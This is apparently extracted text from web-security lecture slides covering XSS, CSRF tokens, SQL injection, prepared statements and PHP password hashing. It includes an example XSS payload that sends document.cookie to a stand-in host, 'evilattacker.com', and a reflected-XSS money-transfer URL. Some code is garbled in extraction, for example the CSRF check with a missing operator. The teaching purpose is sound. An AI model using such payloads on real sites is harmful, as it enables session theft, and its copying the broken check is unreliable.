Info2180 Lecture 8
Info2180 Lecture 8
SECURITY
SECURITY
OWASP - https://wiki.owasp.org/index.php/
Guide_Introduction
SECURITY
OVERVIEW SECURITY
OVERVIEW SECURITY
OVERVIEW SECURITY
▸ Apply Defense-In-Depth.
▸ Ensure that users only have access to what they need to via
some kind of Access Control List (ACL/Authorization).
<script>document.write('<iframe
src="http: evilattacker.com?cookie='+
document.cookie + '" height=0 width=0
>'); script>
onlinebanking.php?
text=<script>transferMoneyTo("Evil Kevin",
1000, "USD");</script>
SECURITY
CSRF
▸ You can also make the token only be valid for a short period
of time or change it on every request to the form.
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
Here we parse the form
if(!isset($_SESSION['csrf_token'])
$_SESSION['csrf_token'] !== $_POST['csrf_token'])
{
throw new Exception('CSRF attack');
}
Do the rest of the processing here
}
/
/
/
/
|
|
SQL INJECTION
SECURITY
SQL INJECTION
$username = $_POST['username'];
$password = $_POST['password'];
Source: http://www.xkcd.com/327/
Did you notice this?
-
-
EXAMPLE PREPARED STATEMENT AND PARAMETERIZED QUERY
OVERVIEW OF SSL
▸ With SSL
OVERVIEW OF SSL
<?php
$hash = password_hash("mysecretpassword",
PASSWORD_DEFAULT);
echo $hash;
output: $2y$10$19L6.VL/
wDJr9 2BI82EvOHUNHs6OxfAUjkk8afdPnWczKBj/oR6C
?>
/
/
x
EXAMPLE OF PASSWORD_VERIFY()
<?php
if (password_verify('mysecretpassword', $hash)) {
Correct Password
echo 'Valid password!';
} else {
Wrong password
echo 'Invalid password';
}
?>
/
/
/
/
There are many libraries and frameworks
available that can help with the security of
our web applications.
SECURITY
▸ Shell Injection
RESOURCES
▸ CSRF - https://owasp.org/www-community/attacks/csrf